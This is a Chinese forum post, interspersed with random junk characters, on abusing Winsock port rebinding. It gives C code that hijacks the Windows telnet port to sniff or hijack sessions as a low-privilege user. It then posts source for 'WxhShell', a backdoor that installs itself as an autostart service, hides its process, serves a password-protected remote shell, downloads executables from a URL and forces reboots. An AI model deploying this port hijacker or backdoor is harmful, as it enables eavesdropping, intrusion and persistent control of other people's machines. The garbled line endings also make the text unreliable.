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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?,knit2x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @\P4/+"9  
y*b3&%.ml  
  saddr.sin_family = AF_INET; ;iYff N  
u0s8yPA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K!z`  
kQ>^->w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w!^~<{ Kz  
MHj,<|8Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |pZUlQbb  
m"2d$vro"  
  这意味着什么?意味着可以进行如下的攻击: (K..k-o`.  
E)N<lh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8AFczeg[[  
3)Ac"nuyqH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O~Wt600{E  
s Kicn5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T Eu'*>g  
/1w2ehE<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :\ QUs}  
?*"srE,#JX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4$6T+i2E   
is^pgKX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b-5y9K  
zDOKShG  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \6I +K"  
l{c]p-  
  #include ?Ke eHMu  
  #include wEW4gz{s  
  #include csZ c|kDI  
  #include    Qeq5gN]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   x*XH]&V  
  int main() wE\3$ s/{D  
  { sq/]wzT:  
  WORD wVersionRequested; 0ZpFE&  
  DWORD ret; yCz|{=7"j  
  WSADATA wsaData; 6=hk=2]f  
  BOOL val; e 8\;t"D  
  SOCKADDR_IN saddr; Rf-[svA  
  SOCKADDR_IN scaddr; K*-@Q0"KM{  
  int err; $4SzUZ0  
  SOCKET s; "Dcs])7Q  
  SOCKET sc; e$)300 o  
  int caddsize; 6X2PYJJZ  
  HANDLE mt; uGU; Y'W)  
  DWORD tid;   * *H&+T/B  
  wVersionRequested = MAKEWORD( 2, 2 ); $:s`4N^  
  err = WSAStartup( wVersionRequested, &wsaData ); } R4c  
  if ( err != 0 ) { cE'L% Z  
  printf("error!WSAStartup failed!\n"); y3u+_KY-  
  return -1; 0U/,aHvhP  
  } sW#JjtK  
  saddr.sin_family = AF_INET; PCrU<J 7  
   }G<T:(a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /$N~O1"0)  
^eYqll/U  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); SO\/-]9#  
  saddr.sin_port = htons(23); Q^Ql\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  kzmQm  
  { I`(l*U  
  printf("error!socket failed!\n"); G_H?f\/  
  return -1; VhGs/5  
  } =DbY?Q<Q  
  val = TRUE; `/&SxQB<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z;Rp+ X  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G2{O9  
  { SzD KByi  
  printf("error!setsockopt failed!\n"); ?(6mVyIe  
  return -1; C#V ~Y  
  } /Dt d#OAdr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; MTGiAFE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "L&'Fd@ZU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BKa- k!  
F|bYWYED;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ikBYd }5  
  {  _?vo U  
  ret=GetLastError(); F1%vtk;2?  
  printf("error!bind failed!\n"); P>Euq'ajX  
  return -1; S"mcUU}}  
  } `fXyWrz-k  
  listen(s,2); r\6"5cQ=  
  while(1) $h[Q Q-  
  { ZSy?T  
  caddsize = sizeof(scaddr); W=B"Q qL  
  //接受连接请求 U).*q?.z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $*a'84-5G-  
  if(sc!=INVALID_SOCKET) "<+ih0Ma  
  { T=a=B(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); d@0Kr5_  
  if(mt==NULL) b IW'c_ ,  
  { ~rr 4ok  
  printf("Thread Creat Failed!\n"); hG~reVNf  
  break; @Y,7'0U  
  } hJz):d>Im  
  } dx*qb  
  CloseHandle(mt); YNrp}KQ  
  } J/!cGr( B~  
  closesocket(s);  h_d+$W5  
  WSACleanup(); ]'~vI/p  
  return 0; c)md  
  }   $/1c= Y@  
  DWORD WINAPI ClientThread(LPVOID lpParam) f&,{XZ  
  { 60=m  
  SOCKET ss = (SOCKET)lpParam; >evS} O6  
  SOCKET sc; l%R50aL  
  unsigned char buf[4096]; h0Z{,s}  
  SOCKADDR_IN saddr; /%aiEhL  
  long num; Syp"L;H8Em  
  DWORD val; 7r+g8+4  
  DWORD ret; ZI ;<7tF_z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 hd V1nS$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Hy"x  
  saddr.sin_family = AF_INET; ,fIe&zq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M~*u;vA/  
  saddr.sin_port = htons(23); |IoB?^_h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) juF{}J2  
  { |]Z:&[D]i  
  printf("error!socket failed!\n"); e pCLM_yA  
  return -1; x.0p%O=`  
  } R1:k23{  
  val = 100; if;71ZE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >>Ts??  
  { Cp`j/rF  
  ret = GetLastError(); MF3b{|Z  
  return -1; e^YHJ>@  
  } X2mREt9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -7uwOr  
  { [OTJVpC  
  ret = GetLastError(); b*fgv9Kh'  
  return -1; [+ *$\  
  } /WV7gO&L1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >R{qESmP=  
  { 1 Q-bYJG  
  printf("error!socket connect failed!\n"); qa(>wR"mT  
  closesocket(sc); ,6 !rR,0  
  closesocket(ss); plu$h-$d  
  return -1; p47S^gW  
  } &bz:K8c  
  while(1) 1pv}]&X  
  { o~FRF0f*VP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 49Df?sx  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MaBYk?TR~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vkS)E0s  
  num = recv(ss,buf,4096,0); m]_FQWfet  
  if(num>0) qQi.?<d2"s  
  send(sc,buf,num,0); thO ~=RB  
  else if(num==0) Ko&hj XHx  
  break; !}\4u tHY  
  num = recv(sc,buf,4096,0); /<CSVJ_r  
  if(num>0) @\oz4^  
  send(ss,buf,num,0); v]% WH~>  
  else if(num==0) *?+V65~dW  
  break; G iq=*D+  
  } 6ZgU"!|r  
  closesocket(ss); B{oU,3U>  
  closesocket(sc); +(O~]Q-Ez  
  return 0 ; SYeadsvF  
  } 04%S+y.6&Y  
&|%6|u9  
kpbm4t  
========================================================== fl Jp4-nx  
YJs|c\eq?  
下边附上一个代码,,WXhSHELL IC{eE  
y~ G.V,0  
========================================================== Zn,>]X  
< XTU8G  
#include "stdafx.h" %;D+k  
k *R<,  
#include <stdio.h> 4ww]9J  
#include <string.h> )5%C3/Dl!  
#include <windows.h> 6*l^1;U  
#include <winsock2.h> vvB(r!  
#include <winsvc.h>  `G1&Z]z  
#include <urlmon.h> !|2VWI}  
kVI#(uO  
#pragma comment (lib, "Ws2_32.lib") E$a ?LFa6  
#pragma comment (lib, "urlmon.lib") T,fI BD:  
Tj~IaU  
#define MAX_USER   100 // 最大客户端连接数 S1_6C:^k  
#define BUF_SOCK   200 // sock buffer qj0 1]  
#define KEY_BUFF   255 // 输入 buffer '`Bm'Dd  
:[@ k<8<]  
#define REBOOT     0   // 重启 z 3t~}aL  
#define SHUTDOWN   1   // 关机 T{]~07N?  
[md u!!*  
#define DEF_PORT   5000 // 监听端口 ]maYUKqv}'  
5#3W5z  
#define REG_LEN     16   // 注册表键长度  I~,G  
#define SVC_LEN     80   // NT服务名长度 Vh3Ijn  
&Gm$:T'~  
// 从dll定义API +,:^5{9{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R j~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TUT][ =.=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^1:U'jIXO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oIGrA-T}  
~zm 7?_"@]  
// wxhshell配置信息 jUj<~:Q}3o  
struct WSCFG { TGuiNobD  
  int ws_port;         // 监听端口 V~GWl1#7  
  char ws_passstr[REG_LEN]; // 口令 1%M&CX  
  int ws_autoins;       // 安装标记, 1=yes 0=no b1pQ`qt  
  char ws_regname[REG_LEN]; // 注册表键名 CV$],BM  
  char ws_svcname[REG_LEN]; // 服务名 at!Y3VywG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l ?Y_~Wuw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^^i6|l1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *?QE2&S:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3QI?[R.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %xwIt~Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )Fd HV;K  
rQ4*k'lA:  
}; 4fh^[\  
0s#vwK13  
// default Wxhshell configuration }MR1^  
struct WSCFG wscfg={DEF_PORT, 7;.xc{  
    "xuhuanlingzhe", -Z4{;I[Q@  
    1, +u@aJ_^  
    "Wxhshell", X.ONa_  
    "Wxhshell", 2c<&eX8"  
            "WxhShell Service", $=sXAK9   
    "Wrsky Windows CmdShell Service", IUGz =%[  
    "Please Input Your Password: ", r8xyd"Axy  
  1, * v8Ts  
  "http://www.wrsky.com/wxhshell.exe", ~5ZvOX6L2  
  "Wxhshell.exe" zJa)*N  
    }; "Th$#3  
, xx6$uZ  
// 消息定义模块 ?%R w(E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |eoid?=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qo+N,x9o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &m3.h!dq  
char *msg_ws_ext="\n\rExit."; BE&B}LfvfO  
char *msg_ws_end="\n\rQuit."; Xqp|VbDca  
char *msg_ws_boot="\n\rReboot..."; JXiZB 8}  
char *msg_ws_poff="\n\rShutdown..."; {P8[X@Lu  
char *msg_ws_down="\n\rSave to "; !.7udYmB  
@/ J [t  
char *msg_ws_err="\n\rErr!"; `&M{cfp_  
char *msg_ws_ok="\n\rOK!"; 2Zuq?1=  
,O1O8TwUB0  
char ExeFile[MAX_PATH]; m,3er*t{  
int nUser = 0; {-9jm%N  
HANDLE handles[MAX_USER]; _ |<d5TI  
int OsIsNt; k.h`Cji@  
78n=nHS  
SERVICE_STATUS       serviceStatus; ->-*]-fv[L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YF#H Sf7  
g1(Xg.  
// 函数声明 s30 O@M))  
int Install(void); P7r'ffA  
int Uninstall(void); IC/(R! Crj  
int DownloadFile(char *sURL, SOCKET wsh); +]>+a<x*%  
int Boot(int flag); 39 e;  
void HideProc(void); ,p{`pma  
int GetOsVer(void); .F&9.#>  
int Wxhshell(SOCKET wsl); 5OM?3M  
void TalkWithClient(void *cs); N\t1T(C|  
int CmdShell(SOCKET sock); 2.}R  
int StartFromService(void); !=Y;h[J.p  
int StartWxhshell(LPSTR lpCmdLine); ~Y= @$!Uq  
XA0 (f*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0X..e$ '  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oC*ees g_  
L^kp8o^$  
// 数据结构和表定义 +5<k-0v  
SERVICE_TABLE_ENTRY DispatchTable[] = NW$H"}+o  
{ CozKyt/r7  
{wscfg.ws_svcname, NTServiceMain}, W!$zXwY}(  
{NULL, NULL} UbJ*'eoX  
}; i< (s}wg  
U IJx*  
// 自我安装 x9>\(-uU  
int Install(void) '6Qy/R  
{ qg z*'_S  
  char svExeFile[MAX_PATH]; NCeaL-y7  
  HKEY key; {!ZyCi19  
  strcpy(svExeFile,ExeFile); ^jdL@#k00  
|wxGpBau  
// 如果是win9x系统,修改注册表设为自启动 ~KjJ\b)R  
if(!OsIsNt) { iY[+Ywh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U3;aLQ*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'iSAAwT2aj  
  RegCloseKey(key); oR+-+-? ?$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  }`/gX=91  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A)n W  
  RegCloseKey(key); R U"/2i  
  return 0; V|Tud  
    } !KS F3sz  
  } hPm>tV2X  
} 4FeEGySow  
else { x  FJg  
F SMj  
// 如果是NT以上系统,安装为系统服务 KM?1/KZ/~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9G?ldp8  
if (schSCManager!=0) V+MK'<#B  
{ =Cf ]  
  SC_HANDLE schService = CreateService db=$zIB[:  
  ( qG8s;_G  
  schSCManager, r >{G`de4  
  wscfg.ws_svcname, 0V,Nv9!S  
  wscfg.ws_svcdisp, )yee2(S  
  SERVICE_ALL_ACCESS, Y,z??bm~J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u.|~   
  SERVICE_AUTO_START, C.a5RF0  
  SERVICE_ERROR_NORMAL, TT!ET<ciN  
  svExeFile, *}b]rjsj  
  NULL, hP?fMW$V  
  NULL, ^~ =9  
  NULL, A//?6O Jx?  
  NULL, ,#u\l>&$  
  NULL i`U: gw  
  ); IxSV?k   
  if (schService!=0) >X}{BDMb.  
  { u/^|XOy  
  CloseServiceHandle(schService); )-P!Ae_.v  
  CloseServiceHandle(schSCManager); #5CI)4x0!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dZ2%S''\  
  strcat(svExeFile,wscfg.ws_svcname); 7 &)]) {Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >O{7/)gS^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {5:Zl<0  
  RegCloseKey(key); >mu)/kl  
  return 0; *DeTqO65  
    } HB& &  
  } sLh0&R7   
  CloseServiceHandle(schSCManager); Iq' O  
} ,4F,:w  
} 9V!-ZG  
`_AM` >_  
return 1; 0LVE@qEL  
} #Fd W/y5  
oN2=DYC41  
// 自我卸载 i S p  
int Uninstall(void) e=f.y<  
{ 8:;#,Urr  
  HKEY key; D!> d0k,Y  
e$l 6gY  
if(!OsIsNt) { LVtu*k   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4KpL>'Q=  
  RegDeleteValue(key,wscfg.ws_regname); <bmLy_":  
  RegCloseKey(key); hq_~^/v\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )@7DsV/M  
  RegDeleteValue(key,wscfg.ws_regname); ija: H'j  
  RegCloseKey(key); s${_K*g6  
  return 0; =G>(~+EA  
  } $3 8gs{+  
} `7Ug/R<  
} cy3ww})  
else { @ RR\lZ  
R9dP,<2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BA+_C]%ZJ  
if (schSCManager!=0) L'kq>1QWf  
{ r2eQ{u{nX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mBl7{w;Iv  
  if (schService!=0) =& U`9qN  
  { |qUrEGjiSS  
  if(DeleteService(schService)!=0) { uDG+SdyN@  
  CloseServiceHandle(schService); )s")y  
  CloseServiceHandle(schSCManager); &sOM>^SAD  
  return 0; E20&hc5 8  
  } ia{kab|_5  
  CloseServiceHandle(schService); T!^Mvat  
  } }=GM ?,7b  
  CloseServiceHandle(schSCManager); &TT":FPR  
} V/y=6wUiSl  
} mvTb~)  
F,}s$v  
return 1; [%8@D C'  
} 'V!kL, 9ES  
zXre~b03ZS  
// 从指定url下载文件 = HE m)  
int DownloadFile(char *sURL, SOCKET wsh) %?tq;~|]Q  
{ R2^iSl%pj  
  HRESULT hr; k/`i6%F#m  
char seps[]= "/"; <MZi<Z`  
char *token; 'U)8rR  
char *file; n(&*kfk  
char myURL[MAX_PATH]; * BOBH;s  
char myFILE[MAX_PATH]; ~mH+DV3  
Jp ]T9W\  
strcpy(myURL,sURL); 1D1b"o  
  token=strtok(myURL,seps); N/{?7sG&  
  while(token!=NULL) 0n5UKtB  
  { @>O&Cpt  
    file=token; v]bAWo  
  token=strtok(NULL,seps); f=ib9WbR#  
  } TETsg5#  
.hN3`>*V  
GetCurrentDirectory(MAX_PATH,myFILE); h~ha  
strcat(myFILE, "\\"); lO 2k<  
strcat(myFILE, file); zqGYOm$r  
  send(wsh,myFILE,strlen(myFILE),0); |=3 *;}  
send(wsh,"...",3,0); ;nk@XFJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |~NeB"l{  
  if(hr==S_OK) 2LhE]O(_"  
return 0; QkX@QQ T?  
else Kym:J \}9B  
return 1; [X|OrRA  
FmA-OqEpA  
}  c!D> {N  
Zr"dOj$Jf  
// 系统电源模块 (3fPt;U  
int Boot(int flag) k+\7B}7F  
{ q3\!$IM.  
  HANDLE hToken; I7Zq}Pxa  
  TOKEN_PRIVILEGES tkp; kPJ~X0Fr{t  
?UK:sF| (O  
  if(OsIsNt) { h.b+r~u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hEcYpng~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )6G+tU'  
    tkp.PrivilegeCount = 1; |Ow$n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7SHo%b A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n4*'B*  
if(flag==REBOOT) { -A@U0=o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [+DNM 2A  
  return 0; 7ukDS]  
} y''V"Be  
else { <4NQL*|>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R6Pz#`n  
  return 0; bX{PSjD  
} g =\13# F  
  } & =sayP  
  else { !:J< pWN"  
if(flag==REBOOT) { qS82/e)7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s=jO; K$  
  return 0; `w=!o.1  
} =+Tsknq  
else { ~[;{   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &|] Fg5  
  return 0; H2]BMkum  
} MZi8Fo'  
} bVOO)  
<w11nB)  
return 1; ~$ WQ"~z  
} | VRq$^g  
#ZwY?T x  
// win9x进程隐藏模块 (QhAGk&lu  
void HideProc(void) ]eL~L_[G\  
{ }'_:XKLj  
-(  ER4#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h=mv9=x  
  if ( hKernel != NULL ) / GZV_H%v  
  { :O#gJob-%s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q,TaJ]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {r X5  
    FreeLibrary(hKernel); lMPbLF%_  
  } Xa\]ua_  
?/L1tX)  
return; T/3;NXe6E  
} 'Sk6U]E~  
#|D:f~"d3  
// 获取操作系统版本 :if5z2PE/  
int GetOsVer(void) '|+=B u  
{ .P x,=56$X  
  OSVERSIONINFO winfo; ^f"&}%"M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6P6Jx;  
  GetVersionEx(&winfo); 1r&AB!Z #  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IT7:QEfKU  
  return 1; PE +qYCpP9  
  else )%1&/uN)  
  return 0; M{y|7e%K  
} c'[( d5^|  
CTh1;U20  
// 客户端句柄模块 f Y2l.H\f  
int Wxhshell(SOCKET wsl) ;W =by2x*  
{ 3pzOt&T|w  
  SOCKET wsh; r6/<&1[  
  struct sockaddr_in client; JCBnFrP  
  DWORD myID; ,9+nfj  
*+# k{D,  
  while(nUser<MAX_USER) T)*l' g'  
{ uFa-QG^Y{  
  int nSize=sizeof(client); |HT)/UZ|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |c BHBd  
  if(wsh==INVALID_SOCKET) return 1; 9yp^zL  
EzwF`3RjK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aw;{<?*  
if(handles[nUser]==0) ZW`HDrP`  
  closesocket(wsh); LIc*tsl  
else e1Dj0s?i~K  
  nUser++; ]oo|o1H87  
  } H==X0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ook' u }h  
8Na}Wp;|Gi  
  return 0; mRNHq3  
} "otr+.{`*  
FkLQBpp(x  
// 关闭 socket O{O 9}]6  
void CloseIt(SOCKET wsh) 7Co3P@@  
{ 6YB-}>?  
closesocket(wsh); ',<{X (#(  
nUser--; P[r}(@0rJ  
ExitThread(0); A89Y;_4y  
} :Fq2x_IUE  
ei(| 5h  
// 客户端请求句柄 R#r h  
void TalkWithClient(void *cs) \Gv-sA  
{ s"gKonwI2  
4j2~"K  
  SOCKET wsh=(SOCKET)cs; U Ek |8yq  
  char pwd[SVC_LEN]; 7UY('Q[  
  char cmd[KEY_BUFF]; pyGFDB5_P  
char chr[1]; &FT5w T  
int i,j; *s 1D\/H  
i@sCMCu6  
  while (nUser < MAX_USER) { Z{j!s6Y@{  
Iht mD@H}  
if(wscfg.ws_passstr) { 4"`=huQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \Or]5ogT'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6uv'r;U]  
  //ZeroMemory(pwd,KEY_BUFF); X:iG[iU*  
      i=0; %l0_PhAB  
  while(i<SVC_LEN) { Z%(Df3~gmm  
k|)^!BdO  
  // 设置超时 [j]}$f Fe  
  fd_set FdRead; ZC>`ca  
  struct timeval TimeOut; ) >-D={  
  FD_ZERO(&FdRead); f[w jur  
  FD_SET(wsh,&FdRead); G=+!d&mbg  
  TimeOut.tv_sec=8; O p!  
  TimeOut.tv_usec=0; <<~lV5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^*j[&:d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j58Dki->.  
`Nxo0Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `"-`D!U?$  
  pwd=chr[0]; pb$ An<P  
  if(chr[0]==0xd || chr[0]==0xa) { lUy*549,  
  pwd=0; x|P<F2L  
  break; |sDG>Zq?  
  } T= iZ9w  
  i++; 7l4InR]  
    } |~1rKzZwF  
i:NJ>b  
  // 如果是非法用户,关闭 socket 1`7]C+Pv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +"*l2E]5  
} IDL^0:eg<.  
y'i:%n}I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @9 qzn&A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q7OnhGA  
S:"z<O  
while(1) { Vb"T],N1m  
N P0Hgd  
  ZeroMemory(cmd,KEY_BUFF); >*ha#PE  
kM}ic(K  
      // 自动支持客户端 telnet标准   Z:r$;`K/  
  j=0; oqQ?2k<@  
  while(j<KEY_BUFF) { 3<Pyr-z h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bRY4yT  
  cmd[j]=chr[0]; >"m@qkh  
  if(chr[0]==0xa || chr[0]==0xd) { .T N`p*  
  cmd[j]=0; 8z3I~yL_`+  
  break; -X6\[I:+A  
  } '/n%}=a=  
  j++; x1BDvTqW  
    } UlLM<33_)  
JXD?a.vy^q  
  // 下载文件 $TH'"XK  
  if(strstr(cmd,"http://")) { ,AFC1t[0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `eA&C4oFOO  
  if(DownloadFile(cmd,wsh)) 4N0W& Dy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); av| 6r#  
  else hIg, 0B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &d &oP  
  } >(1_Dn\  
  else { e P,XH{s  
$ M[}(m  
    switch(cmd[0]) { R)DNFc:  
  WP#_qqO  
  // 帮助 ?AM 8*w  
  case '?': { UHsrZgIRYT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]R3pBC"Jv  
    break;  el*pYI  
  } ]I.& .?^i0  
  // 安装 e*'|iuDrY  
  case 'i': { ofJ]`]~VG  
    if(Install()) qyG636i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gh>fp  
    else yADN_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M b /X@51  
    break; Kr}M>hF+|  
    } Xxsnpb>  
  // 卸载 $y]||tX  
  case 'r': { uJ!s%s2g  
    if(Uninstall()) >7v.`m6?H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <:yq~?  
    else .8uwg@yD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9'*ZEl^?D  
    break; "!_ 4%z-  
    } l1|,Lr  
  // 显示 wxhshell 所在路径 pGcx jm  
  case 'p': { 1j) !d$8  
    char svExeFile[MAX_PATH]; ;h(;(  
    strcpy(svExeFile,"\n\r"); QmkC~kK1.  
      strcat(svExeFile,ExeFile); +` Y ?-  
        send(wsh,svExeFile,strlen(svExeFile),0); +K?N:w  
    break; zl0:U2x7  
    } gBiQIhz  
  // 重启 L) nVpqm   
  case 'b': { ^@5ui;JV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )D-.7m.v]  
    if(Boot(REBOOT)) i7!mMO8]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -O> mY)  
    else { E["t Ccg  
    closesocket(wsh); j{w,<Wt>  
    ExitThread(0); @p` CAB  
    } V1b_z  
    break; /zP)2q^  
    } VOK$;s'9}  
  // 关机 gwB> oi*OE  
  case 'd': { a=T7w;\h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {hq ;7  
